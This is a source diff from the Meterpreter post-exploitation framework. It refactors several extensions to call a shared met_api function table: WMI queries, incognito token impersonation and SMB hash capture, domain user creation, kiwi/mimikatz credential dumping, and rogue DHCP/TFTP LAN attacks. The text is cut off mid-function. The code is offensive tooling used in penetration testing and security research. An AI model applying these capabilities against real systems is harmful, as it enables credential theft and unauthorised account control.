met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_CLASSNAME, met_api->string.wchar_to_utf8(cpClassName)); + met_api->packet.add_group(pResponse, TLV_TYPE_EXT_WINDOW_ENUM_GROUP, pGroup); } diff --git a/c/meterpreter/source/extensions/extapi/wmi.c b/c/meterpreter/source/extensions/extapi/wmi.c index aa3743e7..3f412549 100644 --- a/c/meterpreter/source/extensions/extapi/wmi.c +++ b/c/meterpreter/source/extensions/extapi/wmi.c @@ -3,6 +3,7 @@ * @brief Definitions for WMI request handling functionality. */ #include "extapi.h" +#include "common_metapi.h" #include "wshelpers.h" #include "wmi.h" #include "wmi_interface.h" @@ -20,7 +21,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet) LPSTR lpValue = NULL; LPWSTR lpwRoot = NULL; LPWSTR lpwQuery = NULL; - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); do { @@ -29,7 +30,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet) BREAK_WITH_ERROR("[EXTAPI WMI] Unable to create response packet", ERROR_OUTOFMEMORY); } - lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_DOMAIN); + lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_DOMAIN); if (!lpValue) { @@ -44,7 +45,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet) break; } - lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_QUERY); + lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_QUERY); dprintf("[EXTAPI WMI] Query: %s", lpValue); dwResult = to_wide_string(lpValue, &lpwQuery); if (dwResult != ERROR_SUCCESS) @@ -71,7 +72,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet) dprintf("[EXTAPI WMI] Transmitting response back to caller."); if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } return dwResult; diff --git a/c/meterpreter/source/extensions/extapi/wmi_interface.cpp b/c/meterpreter/source/extensions/extapi/wmi_interface.cpp index 018c61ae..453ed840 100644 --- a/c/meterpreter/source/extensions/extapi/wmi_interface.cpp +++ b/c/meterpreter/source/extensions/extapi/wmi_interface.cpp @@ -5,6 +5,7 @@ */ extern "C" { #include "extapi.h" +#include "common_metapi.h" #include #include "wmi_interface.h" } @@ -327,7 +328,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response) VARIANT** fields = (VARIANT**)malloc(sizeof(VARIANT*) * fieldCount); char value[FIELD_SIZE]; - Packet* fieldGroup = packet_create_group(); + Packet* fieldGroup = met_api->packet.create_group(); memset(fields, 0, sizeof(VARIANT*) * fieldCount); @@ -337,14 +338,14 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response) SafeArrayPtrOfIndex(pFieldArray, indices, (void**)&fields[i]); _bstr_t bstr(fields[i]->bstrVal); - packet_add_tlv_string(fieldGroup, TLV_TYPE_EXT_WMI_FIELD, (const char*)bstr); + met_api->packet.add_tlv_string(fieldGroup, TLV_TYPE_EXT_WMI_FIELD, (const char*)bstr); dprintf("[WMI] Added header field: %s", (const char*)bstr); } dprintf("[WMI] added all field headers"); // add the field names to the packet - packet_add_group(response, TLV_TYPE_EXT_WMI_FIELDS, fieldGroup); + met_api->packet.add_group(response, TLV_TYPE_EXT_WMI_FIELDS, fieldGroup); dprintf("[WMI] processing values..."); // with that horrible pain out of the way, let's actually grab the data @@ -356,7 +357,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response) break; } - Packet* valueGroup = packet_create_group(); + Packet* valueGroup = met_api->packet.create_group(); for (LONG i = 0; i < fieldCount; ++i) { @@ -373,13 +374,13 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response) variant_to_string(_variant_t(varValue), value, FIELD_SIZE); } - packet_add_tlv_string(valueGroup, TLV_TYPE_EXT_WMI_VALUE, value); + met_api->packet.add_tlv_string(valueGroup, TLV_TYPE_EXT_WMI_VALUE, value); dprintf("[WMI] Added value for %s: %s", (char*)_bstr_t(fields[i]->bstrVal), value); } // add the field values to the packet - packet_add_group(response, TLV_TYPE_EXT_WMI_VALUES, valueGroup); + met_api->packet.add_group(response, TLV_TYPE_EXT_WMI_VALUES, valueGroup); pObj->Release(); pObj = NULL; @@ -436,7 +437,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response) _com_error comError(hResult); _snprintf_s(errorMessage, 1024, 1023, "%s (0x%x)", comError.ErrorMessage(), hResult); dprintf("[WMI] returning error -> %s", errorMessage); - packet_add_tlv_string(response, TLV_TYPE_EXT_WMI_ERROR, errorMessage); + met_api->packet.add_tlv_string(response, TLV_TYPE_EXT_WMI_ERROR, errorMessage); hResult = S_OK; } diff --git a/c/meterpreter/source/extensions/incognito/hash_stealer.c b/c/meterpreter/source/extensions/incognito/hash_stealer.c index 1a59f5d3..6f75e0ac 100644 --- a/c/meterpreter/source/extensions/incognito/hash_stealer.c +++ b/c/meterpreter/source/extensions/incognito/hash_stealer.c @@ -1,5 +1,6 @@ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include #include #include @@ -25,8 +26,8 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet) wchar_t conn_string[BUF_SIZE] = L"", domain_name[BUF_SIZE] = L"", return_value[BUF_SIZE] = L"", temp[BUF_SIZE] = L""; - Packet *response = packet_create_response(packet); - char *smb_sniffer_ip = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); + Packet *response = met_api->packet.create_response(packet); + char *smb_sniffer_ip = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); // Initialise net_resource structure (essentially just set ip to that of smb_sniffer) if (_snwprintf(conn_string, BUF_SIZE, L"\\\\%S", smb_sniffer_ip) == -1) @@ -45,7 +46,7 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet) token_list = get_token_list(&num_tokens, &token_privs); if (!token_list) { - packet_transmit_response(GetLastError(), remote, response); + met_api->packet.transmit_response(GetLastError(), remote, response); goto cleanup; } @@ -76,7 +77,7 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet) } } - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); cleanup: free(token_list); diff --git a/c/meterpreter/source/extensions/incognito/incognito.c b/c/meterpreter/source/extensions/incognito/incognito.c index 923bc842..929e8f12 100644 --- a/c/meterpreter/source/extensions/incognito/incognito.c +++ b/c/meterpreter/source/extensions/incognito/incognito.c @@ -2,21 +2,19 @@ * This module implements token manipulation features */ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include #include "incognito.h" #include "token_info.h" #include "list_tokens.h" #include "user_management.h" #include "hash_stealer.h" -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. -#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); +// Required so that use of the API works. +MetApi* met_api = NULL; + +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" DWORD request_incognito_list_tokens(Remote *remote, Packet *packet); DWORD request_incognito_impersonate_user(Remote *remote, Packet *packet); @@ -32,8 +30,8 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet) char *delegation_tokens = calloc(sizeof(char), BUF_SIZE); char *impersonation_tokens = calloc(sizeof(char), BUF_SIZE); - Packet *response = packet_create_response(packet); - token_order = packet_get_tlv_value_uint(packet, TLV_TYPE_INCOGNITO_LIST_TOKENS_TOKEN_ORDER); + Packet *response = met_api->packet.create_response(packet); + token_order = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_INCOGNITO_LIST_TOKENS_TOKEN_ORDER); dprintf("[INCOGNITO] Enumerating tokens"); // Enumerate tokens @@ -42,7 +40,7 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet) if (!token_list) { dprintf("[INCOGNITO] Enumerating tokens failed with %u (%x)", GetLastError(), GetLastError()); - packet_transmit_response(GetLastError(), remote, response); + met_api->packet.transmit_response(GetLastError(), remote, response); free(uniq_tokens); free(delegation_tokens); @@ -76,7 +74,7 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet) if (uniq_tokens[i].delegation_available) { bTokensAvailable = TRUE; - char *username = wchar_to_utf8(uniq_tokens[i].username); + char *username = met_api->string.wchar_to_utf8(uniq_tokens[i].username); if (username) { strncat(delegation_tokens, username, BUF_SIZE - strlen(delegation_tokens) - 1); strncat(delegation_tokens, "\n", BUF_SIZE - strlen(delegation_tokens) - 1); @@ -96,7 +94,7 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet) if (!uniq_tokens[i].delegation_available && uniq_tokens[i].impersonation_available) { bTokensAvailable = TRUE; - char *username = wchar_to_utf8(uniq_tokens[i].username); + char *username = met_api->string.wchar_to_utf8(uniq_tokens[i].username); if (username) { strncat(impersonation_tokens, username, BUF_SIZE - strlen(impersonation_tokens) - 1); strncat(impersonation_tokens, "\n", BUF_SIZE - strlen(impersonation_tokens) - 1); @@ -110,9 +108,9 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet) strncat(impersonation_tokens, "No tokens available\n", BUF_SIZE - strlen(impersonation_tokens) - 1); } - packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION, delegation_tokens); - packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION, impersonation_tokens); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION, delegation_tokens); + met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION, impersonation_tokens); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); free(token_list); free(uniq_tokens); @@ -132,9 +130,9 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet) HANDLE xtoken; TOKEN_PRIVS token_privs; - Packet *response = packet_create_response(packet); - char *impersonate_token = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN); - wchar_t *requested_username = utf8_to_wchar(impersonate_token); + Packet *response = met_api->packet.create_response(packet); + char *impersonate_token = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN); + wchar_t *requested_username = met_api->string.utf8_to_wchar(impersonate_token); // Enumerate tokens token_list = get_token_list(&num_tokens, &token_privs); @@ -168,7 +166,7 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet) if (is_token(token_list[i].token, requested_username)) if (ImpersonateLoggedOnUser(token_list[i].token)) { - char *username = wchar_to_utf8(token_list[i].username); + char *username = met_api->string.wchar_to_utf8(token_list[i].username); if (username) { strncat(return_value, "[+] Successfully impersonated user ", sizeof(return_value)-strlen(return_value)-1); strncat(return_value, username, sizeof(return_value)-strlen(return_value)-1); @@ -177,7 +175,7 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet) if (!DuplicateTokenEx(token_list[i].token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &xtoken)) { dprintf("[INCOGNITO] Failed to duplicate token for %s (%u)", username, GetLastError()); } else { - core_update_thread_token(remote, xtoken); + met_api->thread.update_token(remote, xtoken); } free(username); } @@ -197,8 +195,8 @@ cleanup: free(token_list); free(uniq_tokens); - packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; } @@ -216,14 +214,15 @@ Command customCommands[] = /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all( customCommands ); + met_api->command.register_all( customCommands ); return ERROR_SUCCESS; } @@ -235,7 +234,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all( customCommands ); + met_api->command.deregister_all( customCommands ); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/incognito/user_management.c b/c/meterpreter/source/extensions/incognito/user_management.c index b8e56654..245423cb 100644 --- a/c/meterpreter/source/extensions/incognito/user_management.c +++ b/c/meterpreter/source/extensions/incognito/user_management.c @@ -1,5 +1,6 @@ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" +#include "common.h" +#include "common_metapi.h" #include #include #include @@ -25,10 +26,10 @@ DWORD request_incognito_add_user(Remote *remote, Packet *packet) TOKEN_PRIVS token_privs; // Read arguments - Packet *response = packet_create_response(packet); - dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); - username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); - password = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD); + Packet *response = met_api->packet.create_response(packet); + dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); + username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); + password = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD); mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1); mbstowcs(username_u, username, strlen(username)+1); @@ -105,8 +106,8 @@ cleanup: CloseHandle(token_list[i].token); free(token_list); - packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); // Restore token impersonation if (saved_token != INVALID_HANDLE_VALUE) @@ -126,10 +127,10 @@ DWORD request_incognito_add_group_user(Remote *remote, Packet *packet) TOKEN_PRIVS token_privs; // Read arguments - Packet *response = packet_create_response(packet); - dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); - groupname = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME); - username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); + Packet *response = met_api->packet.create_response(packet); + dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); + groupname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME); + username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1); mbstowcs(username_u, username, strlen(username)+1); @@ -201,8 +202,8 @@ cleanup: CloseHandle(token_list[i].token); free(token_list); - packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); // Restore token impersonation if (saved_token != INVALID_HANDLE_VALUE) @@ -223,10 +224,10 @@ DWORD request_incognito_add_localgroup_user(Remote *remote, Packet *packet) TOKEN_PRIVS token_privs; // Read arguments - Packet *response = packet_create_response(packet); - dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); - groupname = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME); - username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); + Packet *response = met_api->packet.create_response(packet); + dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME); + groupname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME); + username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME); mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1); mbstowcs(username_u, username, strlen(username)+1); @@ -295,8 +296,8 @@ cleanup: CloseHandle(token_list[i].token); free(token_list); - packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); // Restore token impersonation if (saved_token != INVALID_HANDLE_VALUE) diff --git a/c/meterpreter/source/extensions/kiwi/main.c b/c/meterpreter/source/extensions/kiwi/main.c index 2b74080a..fa81dddf 100755 --- a/c/meterpreter/source/extensions/kiwi/main.c +++ b/c/meterpreter/source/extensions/kiwi/main.c @@ -3,15 +3,17 @@ * @brief Entry point for the kiwi extension. */ -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" +#include "common.h" +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; + // include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function // but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the // second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - #include "main.h" extern __declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPWSTR input); @@ -37,9 +39,9 @@ Command customCommands[] = DWORD request_exec_cmd(Remote *remote, Packet *packet) { DWORD result = ERROR_SUCCESS; - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); - wchar_t* cmd = packet_get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD); + wchar_t* cmd = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD); if (cmd != NULL) { dprintf("[KIWI] Executing command: %S", cmd); @@ -49,7 +51,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet) wchar_t* output = powershell_reflective_mimikatz(cmd); if (output != NULL) { - packet_add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output); + met_api->packet.add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output); } else { @@ -63,7 +65,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet) } dprintf("[KIWI] Dumped, transmitting response."); - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); dprintf("[KIWI] Done."); return ERROR_SUCCESS; @@ -71,18 +73,19 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet) /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; dprintf("[KIWI] Init server extension - initorclean"); mimikatz_initOrClean(TRUE); dprintf("[KIWI] Init server extension - register"); - command_register_all(customCommands); + met_api->command.register_all(customCommands); dprintf("[KIWI] Init server extension - done"); @@ -97,7 +100,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { mimikatz_initOrClean(FALSE); - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/lanattacks/lanattacks.c b/c/meterpreter/source/extensions/lanattacks/lanattacks.c index 7d691c1f..dfda54a5 100644 --- a/c/meterpreter/source/extensions/lanattacks/lanattacks.c +++ b/c/meterpreter/source/extensions/lanattacks/lanattacks.c @@ -2,17 +2,16 @@ * This module implements LAN attacks, like pxesploit and DHCP attacks */ #define _CRT_SECURE_NO_DEPRECATE 1 -#include "../../common/common.h" -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. +#include "common.h" +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; + #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include #include "lanattacks.h" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); void* dhcpserver = NULL; //global DHCP server pointer void* tftpserver = NULL; //global TFTP server pointer @@ -20,11 +19,11 @@ void* tftpserver = NULL; //global TFTP server pointer //Launches the DHCP server DWORD request_lanattacks_start_dhcp(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); int res = startDHCPServer(dhcpserver); - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); return ERROR_SUCCESS; } @@ -32,12 +31,12 @@ DWORD request_lanattacks_start_dhcp(Remote *remote, Packet *packet) //Reset the DHCP server DWORD request_lanattacks_reset_dhcp(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); destroyDHCPServer(dhcpserver); dhcpserver = createDHCPServer(); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; } @@ -48,35 +47,35 @@ DWORD request_lanattacks_set_dhcp_option(Remote *remote, Packet *packet) DWORD retval = ERROR_SUCCESS; char* name = NULL; unsigned int namelen = 0; - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); do { //Get option value Tlv tlv; - if ((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS) + if ((retval = met_api->packet.get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS) { break; } //Get option name - name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME); + name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME); namelen = (unsigned int)strlen(name); setDHCPOption(dhcpserver, name, namelen, (char*)tlv.buffer, tlv.header.length); } while (0); - packet_transmit_response(retval, remote, response); + met_api->packet.transmit_response(retval, remote, response); return ERROR_SUCCESS; } //Turns off the DHCP server DWORD request_lanattacks_stop_dhcp(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); int res = stopDHCPServer(dhcpserver); - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); return ERROR_SUCCESS; } @@ -84,13 +83,13 @@ DWORD request_lanattacks_stop_dhcp(Remote *remote, Packet *packet) //Gets and resets the DHCP log DWORD request_lanattacks_dhcp_log(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); unsigned long loglen; unsigned char * log = getDHCPLog(dhcpserver, &loglen); - packet_add_tlv_raw(response, TLV_TYPE_LANATTACKS_RAW, log, loglen); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.add_tlv_raw(response, TLV_TYPE_LANATTACKS_RAW, log, loglen); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); free(log); return ERROR_SUCCESS; @@ -99,11 +98,11 @@ DWORD request_lanattacks_dhcp_log(Remote *remote, Packet *packet) //Launches the TFTP server DWORD request_lanattacks_start_tftp(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); int res = startTFTPServer(tftpserver); - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); return ERROR_SUCCESS; } @@ -111,12 +110,12 @@ DWORD request_lanattacks_start_tftp(Remote *remote, Packet *packet) //Reset the TFTP server DWORD request_lanattacks_reset_tftp(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); destroyTFTPServer(tftpserver); tftpserver = createTFTPServer(); - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; } @@ -127,34 +126,34 @@ DWORD request_lanattacks_add_tftp_file(Remote *remote, Packet *packet) DWORD retval = ERROR_SUCCESS; char* name = NULL; unsigned int namelen = 0; - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); do{ Tlv tlv; //Get file contents - if ((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS) + if ((retval = met_api->packet.get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS) { break; } //Get file name - name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME); + name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME); namelen = (unsigned int)strlen(name); addTFTPFile(tftpserver, name, namelen, (char*)tlv.buffer, tlv.header.length); } while (0); - packet_transmit_response(retval, remote, response); + met_api->packet.transmit_response(retval, remote, response); return ERROR_SUCCESS; } //Turns off the TFTP server DWORD request_lanattacks_stop_tftp(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); int res = stopTFTPServer(tftpserver); - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); return ERROR_SUCCESS; } @@ -175,14 +174,15 @@ Command customCommands[] = /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all(customCommands); + met_api->command.register_all(customCommands); dhcpserver = createDHCPServer(); tftpserver = createTFTPServer(); @@ -200,7 +200,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) +DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote) { destroyTFTPServer(tftpserver); tftpserver = NULL; @@ -208,7 +208,7 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) destroyDHCPServer(dhcpserver); dhcpserver = NULL; - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/mimikatz/main.cpp b/c/meterpreter/source/extensions/mimikatz/main.cpp index df468654..8f05c01b 100644 --- a/c/meterpreter/source/extensions/mimikatz/main.cpp +++ b/c/meterpreter/source/extensions/mimikatz/main.cpp @@ -14,120 +14,118 @@ std::wstring s2ws(const std::string& str) return wstrTo; } -extern "C" +extern "C" { -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. +#include "common_metapi.h" + + // Required so that use of the API works. + MetApi* met_api = NULL; + #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); + mimikatz* myMimiKatz; -mimikatz * myMimiKatz; - -// Singleton -void initialize_mimikatz() -{ - vector *args; - if (!myMimiKatz) + // Singleton + void initialize_mimikatz() { - args = new vector(); - myMimiKatz = new mimikatz(args); - delete args; - } -} - -void clear_buffer() -{ - oss.str(L""); - oss.clear(); -} - -wchar_t* convert_wstring_to_wchar_t(wstring in) -{ - const wchar_t* outputStr = in.c_str(); - wchar_t* out = new wchar_t[in.size()+1]; - wcscpy_s(out, in.size() + 1, outputStr); - out[in.size()] = '\0'; - return out; -} - -DWORD request_custom_command(Remote *remote, Packet *packet) -{ - Packet * response = packet_create_response(packet); - Tlv argTlv = {0}; - DWORD index = 0; - vector args; - - LPCSTR func = packet_get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION); - dprintf("Function: %s", packet_get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION)); - wstring function = s2ws(func); - - while( packet_enum_tlv( packet, index++, TLV_TYPE_MIMIKATZ_ARGUMENT, &argTlv ) == ERROR_SUCCESS ) - { - dprintf("Arg: %s", (PCHAR)argTlv.buffer); - args.push_back(s2ws((PCHAR)argTlv.buffer)); + vector* args; + if (!myMimiKatz) + { + args = new vector(); + myMimiKatz = new mimikatz(args); + delete args; + } } - clear_buffer(); + void clear_buffer() + { + oss.str(L""); + oss.clear(); + } - 